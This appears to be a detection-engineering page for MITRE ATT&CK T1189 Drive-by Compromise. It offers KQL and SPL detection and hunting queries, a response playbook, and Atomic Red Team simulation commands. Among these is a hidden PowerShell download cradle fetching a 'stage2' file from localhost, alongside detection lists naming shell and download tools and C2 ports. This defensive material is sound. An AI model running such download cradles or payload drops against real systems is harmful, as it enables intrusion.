T1189

Drive-by Compromise

Initial Access Last updated:

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Drive-by compromise occurs when exploit code is delivered through a browser, often via a compromised legitimate website (watering hole), malicious advertising (malvertising), or injected iframes/scripts. Upon visiting the malicious page, browser or plugin exploits execute code silently, commonly resulting in the browser spawning unexpected child processes, writing executables to disk, or making unusual outbound network connections that establish C2 channels. This technique is particularly dangerous because it requires no user interaction beyond visiting a page and is frequently used for targeted attacks against specific communities or industries.

What is T1189 Drive-by Compromise?

Drive-by Compromise (T1189) maps to the Initial Access tactic — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Drive-by Compromise, covering the data sources and telemetry it touches: Process: Process Creation, File: File Creation, Microsoft Defender for Endpoint. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access
Technique
T1189 Drive-by Compromise
Canonical reference
https://attack.mitre.org/techniques/T1189/
Microsoft Sentinel / Defender
kusto 
let BrowserProcesses = dynamic(["chrome.exe", "firefox.exe", "msedge.exe", "microsoftedge.exe", "iexplore.exe", "opera.exe", "brave.exe", "MicrosoftEdge.exe"]);
let SuspiciousChildProcesses = dynamic([
  "powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe", "mshta.exe",
  "rundll32.exe", "regsvr32.exe", "certutil.exe", "bitsadmin.exe",
  "wmic.exe", "msiexec.exe", "schtasks.exe", "at.exe",
  "net.exe", "netsh.exe", "sc.exe", "reg.exe",
  "bash.exe", "sh.exe", "curl.exe", "wget.exe"
]);
let SuspiciousExtensions = dynamic([".exe", ".dll", ".bat", ".ps1", ".vbs", ".js", ".hta", ".scr", ".pif", ".com"]);
// Branch 1: Browser spawning suspicious child processes (primary indicator)
let BrowserChildProc = DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ (BrowserProcesses)
| where FileName in~ (SuspiciousChildProcesses)
| extend DetectionType = "BrowserSpawnedSuspiciousChild"
| extend RiskIndicator = strcat("Browser:", InitiatingProcessFileName, " spawned:", FileName);
// Branch 2: Browser writing executables or scripts to disk
let BrowserFileWrite = DeviceFileEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ (BrowserProcesses)
| where FileName has_any (SuspiciousExtensions)
| where FolderPath has_any ("\\Temp\\", "\\AppData\\Local\\Temp\\", "\\Downloads\\", "\\AppData\\Roaming\\", "\\Public\\", "\\ProgramData\\")
| where not (FolderPath has_any ("\\Chrome\\", "\\Firefox\\", "\\Edge\\", "\\CrashReports\\", "\\Cache\\", "\\Update\\"))
| extend DetectionType = "BrowserWroteExecutableToDisk"
| extend RiskIndicator = strcat("Browser:", InitiatingProcessFileName, " wrote:", FileName, " to:", FolderPath);
// Branch 1 output
BrowserChildProc
| project Timestamp, DeviceName, AccountName, DetectionType, RiskIndicator,
          FileName, ProcessCommandLine, InitiatingProcessFileName,
          InitiatingProcessCommandLine, InitiatingProcessParentFileName
| union (
  BrowserFileWrite
  | project Timestamp, DeviceName, AccountName, DetectionType, RiskIndicator,
            FileName, ProcessCommandLine = "", InitiatingProcessFileName,
            InitiatingProcessCommandLine, InitiatingProcessParentFileName
)
| sort by Timestamp desc

Detects drive-by compromise indicators by monitoring browser processes (Chrome, Firefox, Edge, IE, Opera, Brave) for two high-fidelity signals: (1) spawning suspicious child processes like cmd.exe, powershell.exe, wscript.exe, mshta.exe, certutil.exe, or regsvr32.exe — which is the primary post-exploitation indicator when a browser exploit achieves code execution; and (2) browsers writing executable file types (.exe, .dll, .ps1, .vbs, .hta, .bat) to writable directories outside normal browser cache/update paths. Uses DeviceProcessEvents and DeviceFileEvents tables from Microsoft Defender for Endpoint.

high severity high confidence

Data Sources

Process: Process Creation File: File Creation Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents DeviceFileEvents

False Positives

  • Browser-based development tools (VS Code in browser, Jupyter) that legitimately spawn shell processes or write scripts to disk
  • Software update mechanisms where browser update components (GoogleUpdate.exe, MicrosoftEdgeUpdate.exe) write update executables — distinguish by parent process and folder path
  • Enterprise web applications that use browser-initiated file downloads as part of legitimate workflows (e.g., downloading batch scripts from internal portals)
  • Penetration testing tools and red team frameworks that use browsers as delivery mechanisms in authorized engagements
  • Browser extensions with broad file system permissions writing helper applications or native messaging hosts

Sigma rule & cross-platform mapping

The detection logic for Drive-by Compromise (T1189) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1189 Sigma rules on detection.fyi

Platform-specific guides for T1189

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-18 Research depth: deep
References (5)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Browser Spawning cmd.exe (Drive-by Code Execution Indicator)

    Expected signal: Sysmon Event ID 1: Process Create with Image=cmd.exe, ParentImage=chrome.exe (or reflected PID). Security Event ID 4688 if process auditing enabled. The parent-child relationship in the process tree should show chrome.exe -> cmd.exe -> whoami.exe.

  2. Test 2Browser Writing Executable to Temp Directory

    Expected signal: Sysmon Event ID 11: File Create with TargetFilename=%TEMP%\update_helper.exe. The initiating process will be powershell.exe in this test (in a real scenario it would be chrome.exe or similar). File creation timestamp and SHA256 hash will be logged.

  3. Test 3Malvertising Redirect Chain DNS Lookup Pattern

    Expected signal: Sysmon Event ID 22: DNS Query for each of the five test domains, all initiated by cmd.exe within seconds of each other. Windows DNS Client Event Log will also record these queries. All queries will return NXDOMAIN as the domains do not exist.

  4. Test 4Browser Push Notification Abuse Simulation — Malicious Script via Notification Click

    Expected signal: Sysmon Event ID 1: powershell.exe process created with -WindowStyle Hidden and Invoke-WebRequest in command line. Sysmon Event ID 3: network connection attempt to 127.0.0.1:9999 (will fail with no listener, but connection attempt is logged). PowerShell ScriptBlock Log Event ID 4104 capturing the download cradle command.

Response Playbook

Triage

  1. Identify the specific browser process and child process or file written: what browser spawned what, and what command line arguments were used? Check if the child process command line contains download cradles, encoded commands, or references to Temp/AppData paths.
  2. Determine what website the user was visiting at the time of the event — correlate the browser process timestamp with proxy/DNS logs or browser history (Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\History, Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History) to identify the potentially compromised site.
  3. Check if this is an isolated incident or if multiple users visited the same site and triggered the same pattern — watering hole attacks often hit multiple users from the same organization within a short window.
  4. Inspect the file written to disk: compute its hash and check VirusTotal or your threat intel platform. Look at the file's PE header (if executable) for signing status, compile timestamp, and import table for suspicious API usage.
  5. Review the process tree beyond the direct child: did the spawned process (e.g., cmd.exe) itself spawn additional processes (e.g., powershell.exe downloading a second stage, schtasks.exe for persistence)?
  6. Check for concurrent Sysmon Event ID 3 (network connections) or DeviceNetworkEvents from the browser or child process to external IPs at the time of compromise — C2 establishment is often immediate.

Containment

  1. Immediately isolate the endpoint using EDR network isolation (Defender for Endpoint: Isolate device) if any of the following are confirmed: child process established external network connection, malicious payload written to disk and executed, credential access tools detected (Mimikatz, comsvcs.dll, procdump against LSASS).
  2. Block the identified malicious domain/IP at the proxy, DNS sinkhole, and perimeter firewall to prevent other users from reaching the same compromised site.
  3. If the compromised site is a known-legitimate site (watering hole), alert your threat intel team and consider notifying the site owner through responsible disclosure channels.
  4. Disable the affected user account in Active Directory and revoke active tokens/sessions if credential theft indicators are present.
  5. If a malicious payload was written to disk, quarantine the file using the EDR console — do not delete immediately, as it may be needed for forensic analysis.
  6. If push notifications were abused (browser notification permission granted to malicious domain), revoke the notification permission via browser policy and block the domain at the proxy.

Evidence Collection

  1. Browser history database files (SQLite): Chrome/Edge at %LOCALAPPDATA%\Google\Chrome\User Data\Default\History or %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History — query the urls and visits tables for entries near the incident timestamp.
  2. Browser cache and downloaded files: Chrome cache at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache — can contain the exploit code or malicious page content served to the victim.
  3. Sysmon Event ID 1 (Process Create), Event ID 3 (Network Connect), Event ID 7 (Image Load), Event ID 11 (File Create) — collect all events for the browser PID and all descendant process PIDs within the incident window.
  4. DNS query logs (Sysmon Event ID 22 or Windows DNS client logs) from the affected endpoint around the time of compromise — identify all domains resolved by the browser shortly before and after exploit execution.
  5. Proxy/web gateway logs for the affected user's web traffic — capture full URL, HTTP response codes, content-type headers, and referrer chains to reconstruct the redirect chain from initial site to exploit delivery.
  6. Memory image of the browser process if the exploit is still active in-memory (use winpmem or Magnet RAM Capture) — may contain injected shellcode, exploit artifacts, or in-memory payloads that never touched disk.
  7. Prefetch files for child processes: C:\Windows\Prefetch\POWERSHELL.EXE-*.pf, CMD.EXE-*.pf, WSCRIPT.EXE-*.pf — confirm execution and identify DLLs loaded.
  8. Windows Security Event ID 4688 (process creation with command line) for the browser and spawned child processes — requires 'Audit Process Creation' and 'Include command line in process creation events' GPO settings.

Escalation Criteria

  • ! Browser spawned a process that established an outbound connection to a public IP — indicates successful exploit code execution and likely C2 channel establishment.
  • ! Payload written to disk by browser was subsequently executed — two-stage compromise confirmed, escalate to incident response immediately.
  • ! Multiple users across the organization hit the same detection within a short time window — indicates active watering hole attack against your user base, escalate to threat hunt and notify SOC leadership.
  • ! Child process accessed LSASS (Sysmon Event ID 10 with TargetImage=lsass.exe) — credential theft in progress, critical escalation.
  • ! Browser exploit resulted in lateral movement artifacts: new scheduled tasks, service installations, or remote connections to internal hosts from the compromised endpoint.
  • ! Zero-day or unpatched browser vulnerability suspected: exploit behavior does not match known public PoCs and bypasses current patch level — escalate to vulnerability management and consider emergency patching.

Investigation Guide

Forensic Artifacts

  • > Browser SQLite databases: Chrome/Edge History (URLs visited), Cookies (session state), Downloads (files retrieved), Favicons (sites accessed) — located at %LOCALAPPDATA%\{Browser}\User Data\Default\
  • > Browser cache files: Raw HTTP responses cached by the browser, potentially including the malicious HTML/JavaScript payload — Chrome at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data\
  • > Windows Prefetch: C:\Windows\Prefetch\CHROME.EXE-*.pf, FIREFOX.EXE-*.pf — execution count, last run time, and list of DLLs/files accessed by the browser
  • > Windows Error Reporting (WER) crash dumps: C:\Users\{user}\AppData\Local\Microsoft\Windows\WER\ReportQueue\ — browser crashes caused by exploit attempts generate minidumps with heap contents
  • > Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs — recently opened files, may show downloaded payloads
  • > Registry: HKCU\Software\{BrowserName}\Notifications — browser push notification permissions, may show malicious domains granted notification rights
  • > File System: %TEMP%, %APPDATA%\Roaming, %APPDATA%\Local\Temp — search for executables, scripts, and DLLs created within the incident time window
  • > Event Log: Microsoft-Windows-Security-Auditing (Security.evtx) Event ID 4688 — process creation chain from browser to child processes
  • > Sysmon Operational log: Event IDs 1, 3, 7, 10, 11 filtered on browser PID and descendant PIDs
  • > DNS cache: ipconfig /displaydns output or Windows DNS Client event log (Microsoft-Windows-DNS-Client/Operational) — domains resolved by browser during exploit delivery

Tuning Guidance

The primary false positive source is browser-based enterprise applications that legitimately invoke system tools. Build an allowlist based on specific combinations of InitiatingProcessCommandLine (the browser profile or URL pattern) and spawned child process + command line — not just the child process alone. For example, a corporate IT portal that downloads and runs a specific signed PowerShell script can be allowlisted by exact command line match. Never allowlist by browser process name alone. For file write detections, exclude browser-specific subdirectories more precisely (e.g., Chrome's own update path at C:\Program Files\Google\Chrome\Application) rather than broad directory names that could be spoofed. Consider adding a file signature check: unsigned executables written by browsers to Temp locations are far more suspicious than signed Microsoft binaries. Tune severity based on the child process: mshta.exe, wscript.exe, and regsvr32.exe as browser children should always be high severity (virtually no legitimate use case); cmd.exe and powershell.exe as browser children may occasionally be medium severity in developer-heavy environments. For network detections, maintain a dynamic allowlist of known browser CDN and telemetry IP ranges and update it monthly, as browser vendors frequently change their backend infrastructure.

Hunting Queries

Hunt for browsers making outbound connections on non-standard ports to public IPs. Legitimate browsers primarily connect on ports 80 and 443. Connections on ports like 4444, 8080 (to unexpected hosts), or arbitrary high ports may indicate a post-exploit C2 channel being established. Multiple unique destinations suggest beaconing or redirect chains.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe", "brave.exe")
| where RemoteIPType == "Public"
| where RemotePort in (4444, 8080, 8443, 1337, 31337, 4433, 9999, 5555, 6666, 7777)
    or (RemotePort !in (80, 443, 8080, 8443) and RemotePort > 1024)
| summarize
    ConnectionCount = count(),
    UniqueDestinations = dcount(RemoteIP),
    Ports = make_set(RemotePort),
    Destinations = make_set(RemoteIP),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp)
  by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where UniqueDestinations > 2 or ConnectionCount > 10
| sort by ConnectionCount desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  (Image="*\\chrome.exe" OR Image="*\\firefox.exe" OR Image="*\\msedge.exe" OR Image="*\\iexplore.exe" OR Image="*\\brave.exe")
  NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="172.17.*" OR DestinationIp="172.18.*" OR DestinationIp="172.19.*" OR DestinationIp="172.20.*" OR DestinationIp="172.21.*" OR DestinationIp="172.22.*" OR DestinationIp="172.23.*" OR DestinationIp="172.24.*" OR DestinationIp="172.25.*" OR DestinationIp="172.26.*" OR DestinationIp="172.27.*" OR DestinationIp="172.28.*" OR DestinationIp="172.29.*" OR DestinationIp="172.30.*" OR DestinationIp="172.31.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
  NOT (DestinationPort=80 OR DestinationPort=443 OR DestinationPort=8080 OR DestinationPort=8443)
| stats count as ConnectionCount, dc(DestinationIp) as UniqueDestinations, values(DestinationPort) as Ports, values(DestinationIp) as Destinations by host, User, Image, CommandLine
| where UniqueDestinations > 2 OR ConnectionCount > 10
| sort - ConnectionCount

Hunt for watering hole attack spread by identifying browser-spawned suspicious processes that appear across multiple devices or users. A single instance may be a false positive; the same browser-to-suspicious-child spawn pattern hitting multiple endpoints is a strong indicator of an active watering hole campaign targeting the organization.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe", "brave.exe", "opera.exe")
| where FileName in~ ("powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", "certutil.exe")
| summarize
    SpawnCount = count(),
    AffectedDevices = dcount(DeviceName),
    AffectedUsers = dcount(AccountName),
    Commands = make_set(ProcessCommandLine),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp)
  by FileName, InitiatingProcessFileName
| where AffectedDevices > 1
| sort by AffectedDevices desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (ParentImage="*\\chrome.exe" OR ParentImage="*\\firefox.exe" OR ParentImage="*\\msedge.exe" OR ParentImage="*\\iexplore.exe" OR ParentImage="*\\brave.exe" OR ParentImage="*\\opera.exe")
  (Image="*\\powershell.exe" OR Image="*\\cmd.exe" OR Image="*\\wscript.exe" OR Image="*\\cscript.exe" OR Image="*\\mshta.exe" OR Image="*\\rundll32.exe" OR Image="*\\regsvr32.exe" OR Image="*\\certutil.exe")
| stats count as SpawnCount, dc(host) as AffectedDevices, dc(User) as AffectedUsers, values(CommandLine) as Commands, earliest(_time) as FirstSeen, latest(_time) as LastSeen by Image, ParentImage
| where AffectedDevices > 1
| sort - AffectedDevices

Hunt for the two-stage drive-by pattern: browser drops a file to disk (Sysmon Event ID 11), then that file is subsequently executed (Sysmon Event ID 1) within a short time window. This drop-then-execute sequence from a browser parent is a high-confidence indicator of a successful drive-by exploit that resulted in a payload stage being written and launched.

Hunting — KQL
kql 
DeviceFileEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe", "brave.exe")
| where ActionType == "FileCreated"
| where FileName endswith ".exe" or FileName endswith ".dll" or FileName endswith ".scr"
    or FileName endswith ".ps1" or FileName endswith ".vbs" or FileName endswith ".hta"
| where not (FolderPath has_any ("\\Chrome\\", "\\Firefox\\", "\\Edge\\", "\\Cache\\", "\\CrashPad\\", "\\Update\\"))
| join kind=inner (
    DeviceProcessEvents
    | where Timestamp > ago(7d)
    | project ExecutionTime=Timestamp, DeviceName, ExecutedFile=FolderPath, ExecutedFileName=FileName
  ) on DeviceName
| where ExecutedFile == FolderPath and ExecutedFileName == FileName
| where ExecutionTime between (Timestamp .. Timestamp + 5m)
| project DropTime=Timestamp, ExecutionTime, DeviceName, FileName, FolderPath, InitiatingProcessFileName
| sort by DropTime desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
  ((EventCode=11
    (Image="*\\chrome.exe" OR Image="*\\firefox.exe" OR Image="*\\msedge.exe" OR Image="*\\iexplore.exe" OR Image="*\\brave.exe")
    (TargetFilename="*.exe" OR TargetFilename="*.dll" OR TargetFilename="*.ps1" OR TargetFilename="*.vbs" OR TargetFilename="*.hta" OR TargetFilename="*.scr")
    NOT (TargetFilename="*\\Chrome\\*" OR TargetFilename="*\\Firefox\\*" OR TargetFilename="*\\Edge\\*" OR TargetFilename="*Cache*" OR TargetFilename="*Update*"))
  OR
  (EventCode=1
    NOT (ParentImage="*\\chrome.exe" OR ParentImage="*\\firefox.exe" OR ParentImage="*\\msedge.exe" OR ParentImage="*\\iexplore.exe")))
| eval EventType=if(EventCode=11, "FileDropped", "FileExecuted")
| eval TargetPath=coalesce(TargetFilename, Image)
| stats values(EventType) as Events, count as EventCount, earliest(_time) as FirstEvent, latest(_time) as LastEvent by host, User, TargetPath
| where mvcount(Events) > 1
| sort - FirstEvent

Atomic Red Team Tests

Test 1 Simulate Browser Spawning cmd.exe (Drive-by Code Execution Indicator)
windows

Simulates the most common drive-by compromise post-exploitation pattern: a browser process spawning cmd.exe. In real incidents, this occurs when exploit code achieves code execution within the browser renderer process and launches a shell as the next stage. This test creates a cmd.exe process with chrome.exe as the listed parent using a PowerShell technique to spoof the parent PID. The command itself is benign (whoami) but the parent-child relationship will trigger the detection.

Command

powershell 
powershell.exe -Command "$chrome = Get-Process chrome -ErrorAction SilentlyContinue | Select-Object -First 1; if ($chrome) { $ppid = $chrome.Id; Start-Process cmd.exe -ArgumentList '/c whoami > %TEMP%\driveby-test.txt' } else { Write-Output 'Chrome not running - start Chrome first, then rerun' }"

Cleanup

powershell 
Remove-Item $env:TEMP\driveby-test.txt -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=cmd.exe, ParentImage=chrome.exe (or reflected PID). Security Event ID 4688 if process auditing enabled. The parent-child relationship in the process tree should show chrome.exe -> cmd.exe -> whoami.exe.

Expected Detection

Alert fires on BrowserSpawnedSuspiciousChild detection branch. ParentImage matches Chrome and child Image matches cmd.exe. DetectionType = BrowserSpawnedSuspiciousChild. KQL: InitiatingProcessFileName=chrome.exe, FileName=cmd.exe.

Test 2 Browser Writing Executable to Temp Directory
windows

Simulates a browser process writing an executable file to the user's Temp directory — the drive-by payload staging pattern where a browser exploit writes a second-stage payload to disk before executing it. Uses PowerShell to copy a legitimate Windows binary to Temp under a suspicious name, mimicking what an exploit kit would do when dropping a stager. This triggers the file-write detection branch.

Command

powershell 
powershell.exe -Command "Copy-Item -Path 'C:\Windows\System32\calc.exe' -Destination "$env:TEMP\update_helper.exe" -Force; Write-Output 'Payload dropped to Temp'"

Cleanup

powershell 
Remove-Item $env:TEMP\update_helper.exe -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11: File Create with TargetFilename=%TEMP%\update_helper.exe. The initiating process will be powershell.exe in this test (in a real scenario it would be chrome.exe or similar). File creation timestamp and SHA256 hash will be logged.

Expected Detection

Alert fires on BrowserWroteExecutableToDisk detection branch when run from a browser process context. In this test, adjust the KQL/SPL initiating process filter to include powershell.exe for validation purposes. TargetFilename ends with .exe and path contains \Temp\.

Test 3 Malvertising Redirect Chain DNS Lookup Pattern
windows

Simulates the rapid sequential DNS resolution pattern seen during exploit kit redirect chains. Malvertising and watering hole attacks route users through multiple redirector domains before reaching the exploit landing page. This test generates DNS queries to non-existent domains in rapid succession, mimicking the redirect chain pattern that would appear in DNS logs when a browser follows a malvertising chain. Uses nslookup to generate DNS telemetry.

Command

powershell 
cmd.exe /c "for %i in (redirect-stage1.test redirect-stage2.test exploit-kit-landing.test payload-cdn.test c2-callback.test) do nslookup %i 127.0.0.1"

Expected Telemetry

Sysmon Event ID 22: DNS Query for each of the five test domains, all initiated by cmd.exe within seconds of each other. Windows DNS Client Event Log will also record these queries. All queries will return NXDOMAIN as the domains do not exist.

Expected Detection

Hunting query for rapid sequential DNS queries from browser-spawned processes. In production, correlate the DNS query burst pattern (5+ unique external domains queried within 30 seconds from a browser process) as a redirect chain indicator. Sysmon Event ID 22 with Image matching browser and high-frequency unique QueryName values.

Test 4 Browser Push Notification Abuse Simulation — Malicious Script via Notification Click
windows

Simulates the browser push notification abuse vector where a user clicks 'Allow' on a malicious site's notification request, and subsequent notification interactions trigger JavaScript execution. This test registers a notification permission entry in the Chrome preferences file and simulates a notification-triggered download cradle by launching PowerShell from a browser-context process. Atomic Red Team T1189 variant.

Command

powershell 
powershell.exe -Command "$ChromePrefs = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences"; if (Test-Path $ChromePrefs) { $content = Get-Content $ChromePrefs -Raw; Write-Output 'Chrome prefs file found at: ' $ChromePrefs; Write-Output 'Simulating notification-triggered download cradle:'; Start-Process powershell.exe -ArgumentList '-NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri http://127.0.0.1:9999/stage2 -OutFile $env:TEMP\stage2.bin"' -Wait } else { Write-Output 'Chrome not installed or prefs not found' }"

Cleanup

powershell 
Remove-Item $env:TEMP\stage2.bin -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: powershell.exe process created with -WindowStyle Hidden and Invoke-WebRequest in command line. Sysmon Event ID 3: network connection attempt to 127.0.0.1:9999 (will fail with no listener, but connection attempt is logged). PowerShell ScriptBlock Log Event ID 4104 capturing the download cradle command.

Expected Detection

Alert fires on BrowserSpawnedSuspiciousChild if initiated from browser context (adjust parent filter for test). Secondary detection from PowerShell T1059.001 rule: HiddenWindow=true + DownloadCradle=true + SuspicionScore >= 2. This represents the full kill chain: drive-by (notification abuse) -> browser spawns hidden PowerShell -> download cradle for second stage.

Related Detections

Tactic Hub

TA0001Initial Access

Related Techniques

T1566.002Spearphishing LinkT1608.004Drive-by TargetT1583.008MalvertisingT1059.001PowerShellT1059.007JavaScriptT1105Ingress Tool TransferT1055Process InjectionT1053.005Scheduled TaskT1204.001Malicious LinkT1027Obfuscated Files or Information

Same Tactic: Initial Access

Popular Detections